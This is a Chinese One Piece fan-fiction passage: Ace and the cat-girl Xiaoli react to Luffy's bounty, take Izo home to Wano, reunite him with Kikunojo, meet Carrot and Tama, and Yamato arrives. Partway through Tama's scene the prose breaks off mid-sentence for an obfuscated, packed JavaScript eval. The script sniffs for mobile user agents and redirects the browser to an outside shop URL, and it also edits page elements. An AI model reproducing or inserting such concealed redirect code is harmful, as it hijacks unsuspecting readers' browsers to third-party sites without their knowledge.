宽阔的后甲板上,艾斯只穿着一条宽松的运动裤,赤裸的上身汗水晶莹,肌肉线条清晰明朗。他正在做俯卧撑,后背上,摞着小山般高的负重器材,而在这座“小山”的最顶端,小狸正坐在上面。 她晃悠着腿,手里拿着一本从萨奇那里顺来的甜品图鉴看得津津有味。身下,艾斯的身体规律地起伏,她也随之轻轻上下晃动。艾斯呼吸平稳,这种强度似乎也没有感觉到疲惫,甚至还能分心问一句:“上面风景好吗?” “还行,”小狸翻过一页,头也不抬,摸了摸屁股下的哑铃片“就是有点硌。” 就在这时,天空传来熟悉的“咕咕”声。一只新闻鸟拍打着翅膀飞过,精准地扔下了一捆用绳子系好的报纸。 小狸眼疾手快,在报纸落下的瞬间探身接住,解开绳子,抽出最上面一份,将其余的朝下面甲板上一扔:“接着!” 早就等在那里的队员笑嘻嘻地接住,立刻分发起来。甲板上响起了窸窸窣窣的翻报声。 小狸重新坐稳,就着温暖的阳光摊开了手中的报纸。她的目光快速扫过头版 “艾斯——!!!!” 小狸发出一声近乎变调的尖叫,整个人像被踩了尾巴一样猛地弹了一下,差点从“山顶”滑下来。 艾斯被她吓得浑身一僵,动作猛然顿住,双臂却还稳稳地支撑着全身加上负重的恐怖重量:“出什么事了?!” “路路路路路,路飞!”小狸指着报纸,舌头像是打了结。 “路飞怎么了?!”听到弟弟的名字,艾斯心脏骤然一缩,焦急几乎要冲破胸腔。巨大的担忧让他几乎本能地就要站起来,但硬生生想起背上还有一座“山”和一只猫,强行停住,“他受伤了?出事了?到底怎么了?!”他急声追问,声音里满是焦灼。 小狸深吸一口气,强迫自己冷静,捋了捋自己看到的东西,机关枪似的快速念道:“路飞在鬼岛打败了四皇凯多和BIG MOM!现在被世界政府通缉,悬赏金三十亿贝利!报纸上说……他被称作新的‘四皇’!” 她一口气说完,空气却仿佛在这一刻凝滞了。 艾斯维持着俯卧撑撑起的姿势,一动不动。 小狸也屏住呼吸,等待他的反应。 下一秒—— “……噗。” 一声压抑不住的闷笑从下方传来。 紧接着—— “哈哈哈哈哈哈哈哈哈哈!!!!” 艾斯终于绷不住,爆发出惊天动地的大笑。那笑声里充满了难以置信、荒诞绝伦,以及一种几乎要满溢出来的、纯粹的为弟弟感到骄傲和好笑的狂喜! “路飞那小子——在搞什么啊!哈哈哈哈!三十亿?!四皇?!哈哈哈哈哈哈!!!” 他笑得全身发颤,手臂再也支撑不住,整个人“扑通”一声结结实实地跌在了甲板上。背上那座“小山”哗啦啦随之落下,将他半埋在下面。可他却仿若未觉,脸埋在臂弯里,肩膀还在剧烈抖动,闷笑声不断传出。 小狸在他脱力的瞬间就轻盈地跳了下来,落在旁边。她蹲下身,看着被器材半埋还在狂笑的艾斯,伸出食指,戳了戳他的脸颊。 与此同时,甲板其他角落也传来了船员们此起彼伏的惊呼和议论声: “喂喂!真的假的?!草帽小子打败了凯多和BIG MOM?!”“真能干啊!那家伙是艾斯队长的弟弟吧?”“太夸张了!三十亿?!他刚刚出海多久来着?打败天夜叉也是不久前的事吧?”“新四皇……啧,还真是大出风头啊!”“等等!这下面还有——‘黑胡子海贼团占领蜂巢岛’?!”“什么?!蒂奇那家伙居然没死?!”“怎么逃掉的?!不是被海楼石锁着沉海了吗?!”“见鬼了……” 小狸听了一耳朵关于黑胡子的议论,撇撇嘴,不再理会那个还趴在地上傻笑的笨蛋哥哥,注意力重新回到报纸上。 果然,在关于路飞的头条下方,紧跟着就是关于黑胡子马歇尔·D·蒂奇的报道。详细描述了他在这短短几天内,以雷霆手段纠集残部,突袭了海军的一支重要押运船队,击毁四艘军舰,救出了大量原本要被送入推进城的穷凶极恶的旧部。随后,这支力量迅速膨胀的队伍攻陷了海贼乐园“蜂巢岛”,并将其作为新的大本营。蒂奇本人,也因此被世界政府重新评估,当上了新的“四皇”。 在这之外,小狸的目光扫过报纸上配的一张照片,忽然定格在一个熟悉的身影上——鹰眼,乔拉可尔·米霍克。由于世界政府废除了“王下七武海”制度,这位世界第一大剑豪与沙·克洛克达尔、以及一个名叫“小丑”巴基的海贼,共同组建了一个名为“十字工会”的组织。而凭借这个组织的影响力,领头人巴基同样获得了“四皇”的称号。 “是‘四皇’么……?”小狸嘟囔着,“老爹、红发、巴基、路飞、黑胡子……已经五个人了吧?”小猫的脑子转了转,发现数字好像有点对不上,索性放弃思考,“算了,反正路飞很厉害就对了!” 她对黑胡子未死的消息心情有些复杂。但老爹的命令清晰在耳,只要蒂奇不再出现在他们面前,白胡子海贼团便不再主动追杀他。可如果……如果再让她碰到他…… 小狸蓝色的眼睛微微眯起,尾巴尖危险地左右摆动。 如果,再让我碰到你,蒂奇……下次一定彻底干掉你。 她继续往下翻看报纸。果然,在不太起眼的版面,也提到了不久前白胡子海贼团与黑胡子海贼团在“登天之岛”的激战,篇幅不小,盛赞白胡子海贼团“宝刀未老”、“雷霆清扫”。配图有几张模糊的战斗场面,称白胡子海贼团取得“重大胜利”,进一步巩固了其在新世界的霸主地位。 ……摄影师真是一个神奇的职业啊 然后,她的目光顿住了。 在后面刊登悬赏令的版块,她看到了一张熟悉到让她瞬间血液冲上头顶的照片! 那是她在鱼人岛,踮起脚尖偷亲艾斯脸颊的瞬间,摄影师抓拍的角度堪称完美,她眼中的狡黠与羞怯,艾斯侧脸上猝不及防的温柔与纵容,都被清晰定格 “为、为为为为什么这张照片会流出去啊——!!!” 小狸的脸颊“轰”地一下爆红,像煮熟的虾子!她抓着报纸,眼睛瞪得滚圆,尾巴和耳朵上的毛全都炸了起来!她能感觉到周围瞬间投射过来的、无数道带着揶揄、偷笑和善意的目光! “噗,拍得不错嘛小狸!”“很上相哦!”“五亿啊!厉害!”“跟艾斯队长很配嘛!” 调侃声从四面八方传来。 “不、不许看!!”小狸羞得恨不得找个地缝钻进去,也顾不上为自己飙升到五亿的赏金高兴,把报纸往地上一扔,双手捂着脸,头也不回地“嗖”一声窜回了船舱,速度快得只剩下一道残影。 终于从弟弟的惊天壮举中回过神来的艾斯,刚从器材堆里坐起身,抹掉笑出的眼泪,一转头,就发现自家小猫不见了踪影。 “嗯?小狸呢?”他一脸茫然,完全在状况外。 一个队员忍着笑,把地上那张被揉皱了些的报纸捡起来,递给他,手指特意点了点某个版面。 艾斯疑惑地接过,目光落到小狸的新悬赏令上,也愣住了。照片上,小猫亲昵地亲着他的脸颊……刚刚因为路飞而扬起的嘴角,又开始不受控制地、一点点向上勾起。那笑容越来越大,越来越傻,最终变成一个毫不掩饰的、带着点得意和甜蜜的灿烂笑容,整张脸都亮了起来。 周围的船员们看着他这副“没出息”的傻笑模样,纷纷露出一脸“没眼看”、“酸死了”、“队长你收敛点”的表情,默契地摇头散开,各自忙八卦去了。艾斯这才回过神,有点不好意思地咳嗽一声,反而把那两张带着照片的报纸仔细折好,计划着找个相框裱起来。 --- 凯多战败,百兽海贼团崩溃的消息得到确认,和之国长达二十年的封闭状态也随之终结。二番队内部很快又提起了之前被耽搁的和之国之旅。 “这次可以光明正大地去拜访了,不用再躲躲藏藏。”丢斯翻着新得到的一些关于和之国开放通商口岸的消息。 “不知道小玉那丫头怎么样 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以藏还在自己房间沉睡,房门被轻轻拉开一条缝,几个鬼鬼祟祟的影子摸了进来。 领头的是小狸,眼睛在昏暗光线中闪着恶作剧得逞般的光,后面跟着憋着笑的艾斯,还有几个明显是来一起做坏事看热闹不嫌事大的二番队队员。 以藏还在睡梦中,身上甚至只穿着素色的寝衣。 众人交换了一个眼神,默契点头。 下一瞬—— “唔?什么——?!”以藏被突然的动静惊醒,刚睁开眼,就被柔软的毯子兜头罩住。几双手同时按住他,动作麻利地用柔软结实的绳索将他连人带被捆了个结实。 “你们!小狸!艾斯!你们干什么?!”以藏又惊又怒,挣扎着,但面对一群早有预谋、实力不弱的“绑匪”,又是刚睡醒的猝不及防,他那精湛的枪术和体术一时竟施展不开。 “带以藏队长回家看看!”小狸欢快地说,和艾斯一前一后,抬着被裹成寿司卷般的以藏就往外跑。 “等等!我还没答应!放下我!我的衣服!我穿着睡衣——!” “出发!”小狸小手一挥,像个小海盗头子。 抗议无效。几人风风火火地穿过清晨寂静的走廊,冲上甲板。炎雀号的缆绳早已解开,帆也半张。 当以藏被“安放”在炎雀号甲板上的躺椅里,海风彻底吹散他最后一丝睡意。他刚挣扎着从毯子里露出头,就听到马尔科在莫比迪克号船舷边大声喊:“一路顺风啊以藏!记得带特产!” 显然,除了他本人,几乎所有人都知道了小狸的计划,炎雀号的引擎轰鸣,风帆鼓满,如同离弦之箭,瞬间窜了出去,将莫比迪克号抛在身后,速度之快,显然早有预谋。 以藏坐在躺椅上,看着迅速变小的莫比迪克号,又看看身上可笑的睡衣和绳索,再看看眼前笑眯眯的小狸、假装看风景的艾斯、以及周围一群假装忙碌实则偷笑,憋笑憋得肩膀抖动的“绑匪”,终于反应过来发生了什么,一时间气得说不出话来 他额角蹦出一个十字青筋,深呼吸,再深呼吸。 然后,他背后仿佛有黑气升起,微笑着举起了拳头。 “你们……这几个……混蛋!” 片刻后。 甲板上,以小狸为首,艾斯和另外几个参与“绑架”行动的队员排排跪,每人头顶着一个新鲜出炉的、热气腾腾的大包。 “哼。”以藏换了衣服抱臂站在他们面前,脸色已经缓和不少。 没跪几分钟,这几个活宝就互相使个眼色,一哄而散,该擦甲板的擦甲板,该调□□帆的调□□帆,溜得飞快。 以藏看着他们逃窜的背影,又好气又好笑。他当然知道小狸是看出了他的犹豫,才用这种近乎胡闹的方式逼他踏出这一步。心里那点近乡情怯的忐忑,被这番闹剧冲散了不少,反而涌起一种久违的、混合着兴奋与茫然的期待。 他走到船头,望着前方海平线,那里是故乡的方向。 忽然,袖子被轻轻拉了拉。 以藏低头,看到小狸不知何时又凑了过来,仰着小脸,蔚蓝的眼睛里满是“我知道错了但下次还敢”的狡黠,尾巴轻轻摇晃:“以藏先生,我想吃果子……甜甜糯糯的那种……” 另一边,小哒也扑棱着翅膀蹦过来,好奇地用喙啄了啄以藏和服的另一边袖子。 以藏被两个小家伙一左一右缠住,一个用眼神撒娇,一个用动作卖萌,那点残余的脾气早就烟消云散了。 “……”他被磨得没办法,叹了口气,满脑子只剩下“这衣服很贵别咬!”“好好好带你们去吃!”“小哒松口!”“什么口味比较好吃”的混乱念头,眼底却泛起真实的暖意和笑意,显然已经妥协“我的手艺可比不上萨奇哦……” “好耶!”小狸欢呼。 “哒哒!”小哒也跟着叫。 以藏半推半就地被这一猫一鸟拉走了,艾斯和其他人见状,也嘻嘻哈哈地做起了鬼脸,艾斯甚至凑热闹的大喊 “以藏,我也要吃!” “谁管你啊!做梦去吧!” 以藏的怒吼从船舱传来引发一阵哄笑,炎雀号破开蔚蓝的海面,朝着和之国笔直前进 130.我来带她见妖艳的女忍者[番外] 炎雀号已经航行了整整三天,小狸坐在船头的雀首旁,尾巴百无聊赖地拍打着甲板,蔚蓝的眼睛望着远方那层始终散不开的的迷雾,小哒则有一下没一下的追咬她的尾巴。 忽然,她的耳朵竖了起来。有什么声音……不是风声,不是海浪,而是一种极其低沉且悠远的嗡鸣 “艾斯。”她拉了拉身旁人的手臂,另一只手指向迷雾深处某个不可见的方向,“大象。” “什么?”艾斯正靠在船舷边玩着手指上的火苗。他顺着小狸的手指望去,除了雾还是雾,“大海上哪有大……” 话音未落,迷雾缓缓裂开一道缝隙,两根粗壮的象牙破雾而出,紧接着,象鼻轻轻垂落,卷起一捧海水又放下,最后,整头巨象从雾中缓缓步出。它太大了,大得像一座移动的岛屿,像神话里才会出现的存在。 “……象。”艾斯把话补完,声音不自觉地放轻了。 甲板上传来零星的抽气声。 “佐乌。”丢斯不知何时走到了船头,他仰头望着那头行走于海中的巨兽“佐乌的背上,是毛皮族的家园,毛茸茸公国。但象主素来避世,厌恶人类船只。它会主动靠近……”他顿了顿,眼中闪过一丝疑惑,“从无先例。” 同样疑惑的,还有象主背上正在晨光中醒来的毛茸茸公国。 瞭望台上的卫兵第一个发现异常。他揉了揉眼睛,确信那头陪伴了他们整个种族的巨兽正在偏离惯常的航线,缓慢又温柔地朝一艘从未见过的海贼船靠近。 那艘船上飘扬的旗帜,在风中猎猎作响。 “白胡子……”有人低语。 消息如涟漪般传开。居民们放下手中的活计,从屋檐下、树屋里、广场边聚拢到能看到海的方向。孩子们骑在大人肩上,毛茸茸的耳朵此起彼伏地转动,无数双眼睛望向那艘陌生的船。 年轻的女王加洛特站在最高的平台上。她的耳朵比任何人都竖得更直。 她望着那面月牙胡须旗,猫蝮蛇老大醉醺醺地躺在她记忆深处的藤椅上,用尾巴拍打着地板: “记着,小兔子,那面旗……是这大海上为数不多可以信任的东西。” “加洛特陛下?”身旁的护卫轻声问。 “我去看看。”加洛特已经跃下平台,动作轻快得像一阵风,“不用跟来。” “你们认识猫蝮蛇老大吗?我认识你们的旗。” 当加洛特的声音从炎雀号的船舷边响起时,所有人都还没反应过来有人登船了。 那声音清脆、年轻,带着兔毛皮族特有的跳跃感。众人猛然转头,发现船舷边不知何时蹲着一个少女。她有着雪白的短发,长长的兔耳,眼眸清澈见底,正歪着头打量船上的每一个人。 “!!!” 几名队员下意识按住了武器,加洛特完全没在意那些“无毛猴子”的戒备,她的目光掠过甲板,掠过艾斯,掠过丢斯,最后然后定格在小狸身上。 她的眼睛亮了。 “你是谁?”加洛特已经凑到了小狸面前,速度快得几乎有残影,脑袋微微侧着,兔耳好奇地转动,“我没有见过你!你也是猫毛皮吗?是猫蝮蛇老大的亲戚吗?” 她围着小狸转了一圈,从头打量到尾,目光落在小狸同样毛茸茸的猫耳和不停摆动的尾巴上,发出由衷的赞叹: “好小只!好可爱!!” 小狸还没来得及开口,整个人就被一把搂进了一个温暖柔软的、带着淡淡青草和阳光气息的怀抱。 那是一个极其自然的、充满毛皮族亲昵本能的拥抱。加洛特像抱一只心爱的玩偶一样抱着她,脸颊贴着她的发顶,蹭来蹭去,发出满足的、被静电刺激的轻微“噼啪”声。 “呜哇——”加洛特把脸埋进小狸的发顶,用力蹭来蹭去,兔耳因为极度愉悦而高频颤动,“好舒服!你的毛好软!你平时用什么梳毛?你吃胡萝卜吗?” 小狸僵硬地维持着被紧紧拥抱的姿势,尾巴不知所措地左右小幅度摆动“我,我不是毛皮族。” “喵!” 小狸变回黑猫,轻巧地扒在了加洛特的手臂上,用最直白的方式表达着“我真的不是毛皮族”这个事实。 “哎?!”加洛特没有失望,反而更兴奋了,她小心翼翼地把小黑猫举到眼前,鼻尖对鼻尖,“果实能力者?可是……你的气息……好奇怪”她顿了顿,歪着头,认真地嗅了嗅,“让人觉得好想亲近……好喜欢……” 她忍不住又把小黑猫搂进怀里,用脸颊猛蹭。 “噼里啪啦!” 一阵细密清脆的静电爆鸣声炸开。加洛特的兔毛和小狸的猫毛在高速摩擦下疯狂起电,无数细小的金色火花在两人之间跳跃迸射。小狸的毛炸的更彻底了,整只猫炸成了一朵毛茸茸的蒲公英,四只爪子在半空中慌乱地扑腾。 “喵喵喵喵喵——!!!” 她向艾斯投去一个“救救我”的眼神。 艾斯果断出手,把自家小猫从加洛特怀里“拔”了出来,迅速抱进自己臂弯里,另一只手开始梳理小狸炸开的背毛,将那些翘起的毛根根抚平。 “你好。”艾斯抬起头,对加洛特点头示意,声音平稳,“我是白胡子海贼团二番队队长,波特卡斯·D·艾斯。” 加洛特这才从“好可惜没蹭够”的情绪中回过神,意识到自己还没有正式自我介绍。她吐了吐舌头,兔耳跟着一抖:“啊,我叫加洛特!现在暂时在当毛茸茸公国的国王!” “暂时?” “嗯,等到合适的新王成长起来,我还是更想去大海上看看。”加洛特说这话时,红眼睛望向远方,像只向往远方天空的鸟,“不过现在要守护好国民才行。” 得知炎雀号此行的目的地是和之国,加洛特若有所思 “和之国呀。”她抬起手,指向远处海雾散开后逐渐显露的海岸线轮廓,“那里最近可不太容易上去呢。海军之前围了好一阵,虽然现在撤了,但警戒还很严。” 她转头看向从刚才起就沉默地凝望故土方向、手指无意识地攥紧和服袖口的以藏 “我和你们一起去吧。”加洛特说,兔耳轻快地一抖,“猫蝮蛇老大和犬岚公爵都提过,和之国现在是我们的重要盟友。代理国王去拜访一下,也很正常嘛!” 于是,托加洛特的福,炎雀号在海湾处缓缓停靠。众人踏上和之国的土地时,几乎认不出这就是当年那个破败凋敝、黑烟蔽日的国度。 空气里没有了硫磺和钢铁的焦臭,取而代之的是泥土的腥甜和海风的清冽。曾经被工厂废水染成褐色的河流,如今正以肉眼可见的速度恢复清澈,水底的鹅卵石上生出了嫩绿的水苔。远处山峦上,曾被火焰和炮火剃秃的林地,已重新覆盖了一层茸茸的新绿。 路上往来的百姓,虽然衣着依旧简朴,但脸上不再有那种麻木的、朝不保夕的惊惶。孩子们在巷口追逐嬉戏,商贩的叫卖声里带着中气十足的笑意。有人聚在布告栏前,热烈讨论着“光月大人回来了”、“御田城的樱花今年开得特别好”…… 小狸从踏上岸的那一刻起,脑袋就像上了发条一样转个不停。她看什么都新奇,尾巴翘得高高的,耳尖因为接收了太多新鲜信息而不停颤动 木屐踩在石板路上的“咯噔”声、屋檐下随风轻响的风铃、路边摊位上冒着热气的红豆汤、艺妓练习三味线的琴声 每一个人的脸上,都带着一种经历过漫长黑夜后终于迎来黎明的、平静而踏实的表情。 过于醒目的一行人很快引起了巡逻武士的注意。通报层层递上,没过多久,一队人马踏着整齐而急促的步伐,从街道尽头赶来。 菊之丞赶到码头时,身后跟着一队光月家的武士。 她……或者他?依旧穿着那身素雅的和服,腰间挂着刀,步伐利落。只是左侧的衣袖,从上臂处开始,空空荡荡地垂落着。 他的面容清丽,眉宇间带着一丝凌厉和沉肃,单手持刀,刀尖遥指,声音清冽如泉击石: “在下是光月家的武士,菊之丞。”他的目光如霜,扫过码头炎雀号的风帆和白团众人“四皇的船只,来到和之国所为何事?若有不轨——” 话音戛然而止。 他的眼睛骤然瞪大,瞳孔深处倒映出人群后方那人的身影。 刀尖垂下了。 “兄……兄长……?” 那声音不再清冽,而是破碎的、颤抖的、仿佛用尽了全身力气才挤出的、跨越了几十年回响。 以藏从艾斯身后缓步走出,他站在菊之丞面前三步之遥,没有再近。看着自己阔别数十年的弟弟,看着他那张褪去稚气却依旧熟悉的脸,看着他因过度克制而咬破的下唇。 以藏想说的有很多。 “你长大了。”“这些年,辛苦你了。”“对不起,哥哥回来晚了。” 但最终,他只是微微弯起嘴角,用一种和几十年前完全一样的、带着些许纵容和无奈的语气,轻轻唤道: “菊,好久不见。” 菊之丞的刀脱手落地,发出清脆的哀鸣。 他扑进了以藏的怀里,以藏的后背撞上了身后店铺的木柱,发出一声闷响。他稳稳接住自己失而复得的弟弟,感受着怀里这个早已不是当年那个需要他牵着手走过雪夜的小小男孩、却在此刻哭得像个孩子的武士,他的弟弟。 菊之丞没有说话,只是死死抓着以藏背后的和服布料,把脸埋进他怀里失声痛哭着。 以藏也没有说话。他抬起手,轻轻覆在菊之丞后脑,一下,又一下,缓慢地抚摸着……他的手顿了一下,目光落在菊之丞空荡的左袖上,落在那再也无法抬起的手臂曾经的位置。 他垂下眼帘,遮住其中翻涌的、近乎碎裂的心疼。 他不在的这些年,他的弟弟,究竟独自承受了什么。 周围没有人出声。加洛特安静地站在一边,兔耳低垂。小狸抱着艾斯的胳膊,把脸埋进他臂弯里,肩膀微微颤抖。艾斯没有说话,只是把手覆在她发顶,一下一下,像以藏抚摸菊之丞那样。 不知过了多久,菊之丞终于抬起头。 他眼眶红透,泪痕未干,却已重新拾起那副端肃从容的面容,只是声音还带着浓浓的鼻音: “让诸位见笑了。”他向众人微微欠身,“既是兄长所在的船队,我自当以礼相待。” 误会解除,气氛变得和煦起来。 菊之丞引着众人穿过街巷,来到一家由退役武士经营的居酒屋。店家认出菊之丞,又看到以藏,惊得差点摔了手中的酒壶,随即红着眼眶把最好的雅间腾了出来,又张罗着端上琳琅满目的吃食——烤得油亮的鳗鱼、堆成小山的寿司、热气腾腾的关东煮、还有一壶壶温得恰到好处的清酒。 “和之国的百姓,如今总算能吃饱饭了。”菊之丞跪坐在榻榻米上,给以藏斟酒,声音平和,“凯多的工厂停运后,水源和土壤都在慢慢恢复。桃之助大人每日批阅文书到深夜,说要在三年内,让和之国每一寸土地都重新长出庄稼。今年秋天应该就能重新捕捞到真正和之国风味的香鱼了。” 以藏端起酒杯,没有说话,只是轻轻“嗯”了一声。 菊之丞看着他兄长垂下的眉眼,忽然轻轻笑了:“兄长,你还是老样子。心里有话,嘴上一句不说。” 以藏抬起眼皮,瞪了他一眼,菊之丞笑意更深。 艾斯盘腿坐在窗边,望着窗外这条焕发着生机的街巷,目光却不自觉地放远了,他想起很多年前那个瘦瘦小小却笑容灿烂的小女孩,她现在也能吃上饱饭了么。 想什么来什么。 “艾斯——!!!” 一道清脆稚嫩的、带着哭腔的呼喊,划破了居酒屋温馨的宁静。 门帘被猛地掀开,一个小小的身影如炮弹般冲进来,精准无误地抱住了艾斯。 “艾斯!艾斯!艾斯!呜呜呜艾斯——!!” 小玉把头埋在艾斯膝头,哭得上气不接下气,眼泪把他裤子的布料洇湿了一大片。她小小的肩膀剧烈起伏,两只小手死死揪着他的裤角,像怕一松手,眼前这个人就会永远离开。 艾斯低下头,看着这颗毛茸茸的脑袋,看着那双被泪水糊满、却还努力睁大看他的眼睛,看着那张因哭泣而涨红的小脸。 艾斯笑起来,伸手把小姑娘抱起来,稳稳放在自己膝头,用指腹笨拙却轻柔地揩去她脸上的泪水。 “哭什么,我这不是来了吗。” “可、可是路飞说、说你差点死掉呜哇哇哇——!”小玉一提这个,眼泪又决堤了,“他说顶上战争、说你被关进大监狱、说你在海军总部差点被处刑、说大家都以为你死了呜呜呜呜艾斯你这个大笨蛋——!!” 她一边哭,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178884|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边用小拳头捶艾斯的胸口,仿佛要发泄这么长时间的担心与后怕。 菊之丞掩袖轻笑,眉眼弯弯:“是我差人通知小玉的。艾斯队长既然是专程来探望她,这孩子理当第一个知道。” 艾斯任她捶,任她把鼻涕眼泪糊自己一身: “我可不会食言的啊,答应了你的事一定会做到的,你有好好吃饭嘛” 小狸跪坐在艾斯身侧,全程目睹了这场“认亲大会”。 她的猫耳向后压平,尾巴僵硬地拍打着榻榻米,蔚蓝的眼睛在小玉和艾斯之间来回扫视。 这就是……传说中的“妖艳女忍者”? 小狸的目光落在小玉身上——娇小的个头,圆嘟嘟的脸颊,穿着精致的和服,发髻上还别着两朵小巧的绢花。 确实很可爱,非常可爱。 但和“妖艳”这两个字,不能说完全一样,只能说毫无关系。 小狸悄悄转过头,恶狠狠地瞪了丢斯一眼。丢斯正举着酒杯假装品酒,被这充满杀意的目光一扫,呛得猛咳起来。 骗子! 小狸收回视线,有点局促地挪了挪位置,尾巴在地上轻轻拍打,发出焦躁又不知所措的细小声响。觉得有点吵,她把尾巴尖收回来,用爪子按住,又松开,又按住。 她要以什么表情面对这个、这个……对艾斯有着纯粹依恋和崇拜的小女孩呢? 她正胡思乱想着,小玉已经哭够了。 小女孩从艾斯膝头滑下来,用袖子胡乱擦了擦脸,红肿着眼眶,终于注意到了艾斯身边这个她不认识的人。 黑发,蓝色的眼睛,头顶有毛茸茸的、会动的耳朵,身后还有一条同样毛茸茸的尾巴。 小玉眨了眨眼,小狸也眨了眨眼,四目相对。 小狸有些局促。她不太擅长应付小孩,更不擅长在人前表现自己。她想了想,冲小玉弯了弯手指,算是一个笨拙的、不太标准的“你好”。 小玉看着她,忽然露出了一个灿烂的笑容,那笑容明亮、坦荡、毫无杂质,像春日里第一朵盛开的樱花。 小狸愣了一下,也笑了,猫耳不自觉地向前转,尾巴尖轻轻勾起。她忽然觉得,自己也开始有点喜欢小玉了。 艾斯低下头,看着小玉亮晶晶的眼睛,又看了一眼同样笑眯眯的小狸,他忽然笑了一下,一只大手忽然从天而降,“啪”地按在小狸头顶……没控制好力度 “唔噗——!” 小狸整个人被他这一掌摁得往前一栽,脸差点埋进面前的餐盘里。她好不容易撑住榻榻米,回头冲着艾斯就是一记凶狠的“哈——!”猫耳后压成飞机耳,露出两颗尖尖的小虎牙。 艾斯哈哈大笑,毫无悔意。 “小玉,”他说,手掌在小狸头顶又揉了揉,这次轻了很多,带着某种珍视的温度,“这是小狸。” 他顿了顿,目光从小狸那故作凶狠实则毫无杀伤力的脸上,移到她微微泛红的耳尖,再移到她虽然凶巴巴瞪着他、尖端却悄悄绕上他手腕的、口是心非的尾巴。 他的声音平稳、清晰、带着理所当然的笃定: “是我的,爱人。” 小狸的目光躲闪了一下,别过脸去,假装研究墙上那幅画的笔触。她的耳根烫得像要烧起来,尾巴却诚实地、紧紧缠着艾斯的手腕不放,有点害羞,又有点甜蜜。 真是的!这副恨不得昭告天下的样子…… “哦——!”小玉发出一声拖得长长的、充满惊叹的欢呼。她双手捧着脸,眼睛瞪得圆溜溜的,在小狸和艾斯之间来回看,笑容越来越灿烂,“爱人!艾斯的!好棒!好棒呀!” 小狸更不好意思了,尾巴“唰”地竖了起来,张了张嘴,喉咙里滚过一串含混的、自己都不知道在说什么的音节。最后,她只是轻轻“嗯”了一声,别过脸,耳尖更红了。 然后她听到艾斯说:“她很好奇和之国,所以我带她来看看——” 艾斯故意顿了顿,嘴角勾起一个坏心眼的弧度,声音里带着显而易见的逗弄笑意: “——妖艳的女忍者。” 轰—— 小狸觉得自己的脸腾地烧了起来。 “你——!!!”她彻底炸毛了,连头发丝都在散发着“恼羞成怒”的意味,“你这家伙!当着小朋友的面说什么呢!!!” 她扑上去,一口咬在艾斯肩膀上。 艾斯笑着躲开,也没真躲,任由她叼着自己的肩膀肉磨牙。他一边笑一边用手掌抵着她的额头:“疼疼疼——小猫咬人了!” “咬死你!!!” 小玉在旁边看着两个大人像小孩一样扭打成一团,笑得前仰后合。菊之丞掩袖而笑,眉眼温柔、以藏见怪不怪的摇摇头,嘴角却不自觉地跟着扬起、加洛特已经和小哒玩到了一起,兔耳兴奋地抖动,完全沉浸在被毛茸茸包围的幸福中。 丢斯终于找回了自己的声音,举着酒杯幽幽道:“所以说,明明是艾斯自己说的,这个黑锅我到底还要背到什么时候……” 当然,没人理他。 小狸终于松了口气,气喘吁吁地从艾斯身上爬起来,头发乱蓬蓬,脸颊红扑扑的。艾斯躺在榻榻米上,衣衫不整,却笑得格外开怀。小玉趴在他旁边,托着腮,看着小狸,又看看艾斯,忽然轻声说:“艾斯,我好高兴。” 艾斯侧过头,小玉没有看他,而是望着窗外的天空,声音轻轻的,像在说给自己听: “路飞告诉我,顶上战争的时候,艾斯差点死掉了。”她顿了顿,“我好害怕,那天晚上偷偷哭了好久,第二天眼睛肿得像桃子,师父还以为我眼睛生病了。” 她低下头,抠着榻榻米的草席边角。 “后来路飞说,艾斯被救回来了,有一个很厉害的女孩子保护了艾斯。”她抬起头,看着小狸,眼睛亮晶晶的,“是小狸姐姐对不对?” 小狸愣了一下,她看着小玉纯真而笃定的眼神,忽然不知道该怎么回答。 她想起马林梵多漫天的炮火,想起赤犬那炽热如岩浆的拳头,想起自己冲出去时脑子里一片空白、唯一的念头就是“不能让他死”。 那不是“厉害”,而是身体的本能。 小狸轻轻“嗯”了一声,声音很轻,小玉灿烂地笑起来,用力点了点头。 “太好了。”她说,“艾斯能活着,真是太好了。” 131.男子汉[番外] 宴会仍在继续,居酒屋里弥漫着烤鱼、清酒和糯米团子的香气。 以藏和菊之丞并肩坐在临窗的位置,两兄弟脑袋凑得很近,小声交谈着什么。菊之丞偶尔会笑,失去左臂的身形在烛光下显得单薄,但那笑容却比任何时刻都明亮。以藏的手搭在他肩上,轻轻拍着,像是在补偿这些年缺失的陪伴。 小玉靠在艾斯腿边,抱着小哒毛茸茸的肚子,小手轻轻揉着。小哒发出满足的“咕噜”声,这是它从妈妈那里学来的,虽然作为一只龙鸟,这个声音听起来有点奇怪。 小狸坐在另一侧,也伸着手揉小哒的肚子,一大一小两只手在柔软的绒毛间穿梭 “它的肚子好软啊!”小玉惊叹。 “嗯,而且特别暖和。”小狸点头,“冬天的时候可以当暖炉用。” “小狸姐姐的手好软。” “小玉的手也很软。” “小狸姐姐的尾巴好漂亮。” “小玉的和服也很漂亮。” 小玉咯咯笑起来,把小哒抱得更紧了。 “对了,小狸姐姐,你要不要……”小玉趴在小狸耳边轻声说了几句,小狸看了一眼艾斯,思考了一下,轻轻地点点头,两个人悄无声息的遛到了居酒屋的内间 与此同时,那扇刚刚闭合没多久的大门又被“砰”地一声撞开了。 “艾斯——!你回来了啊!” 一个白色长发的修长身影裹着风冲了进来,满脸都是抑制不住的兴奋。 大和。 她穿着那身标志性的白色无袖巫女装,手里还拎着一个巨大的酒壶,笑容明亮又灿烂。 “我就知道你一定会回来的!看到你生命卡燃烧的时候我简直要吓死了,还好你没事!”大和几步冲到艾斯面前,一把抓住他的肩膀用力摇晃,“我呀,见过你的弟弟了!路飞他,真的是一个好有趣的家伙!太厉害了!” 艾斯被晃得有点头晕,但听到路飞的名字,嘴角的笑意压都压不住:“那当然,他可是我弟弟嘛!” 大和热情地拉着他坐下,顺手把酒葫芦往桌上一墩。 “来来来!喝酒!你可得好好给我讲讲分开之后的事!” 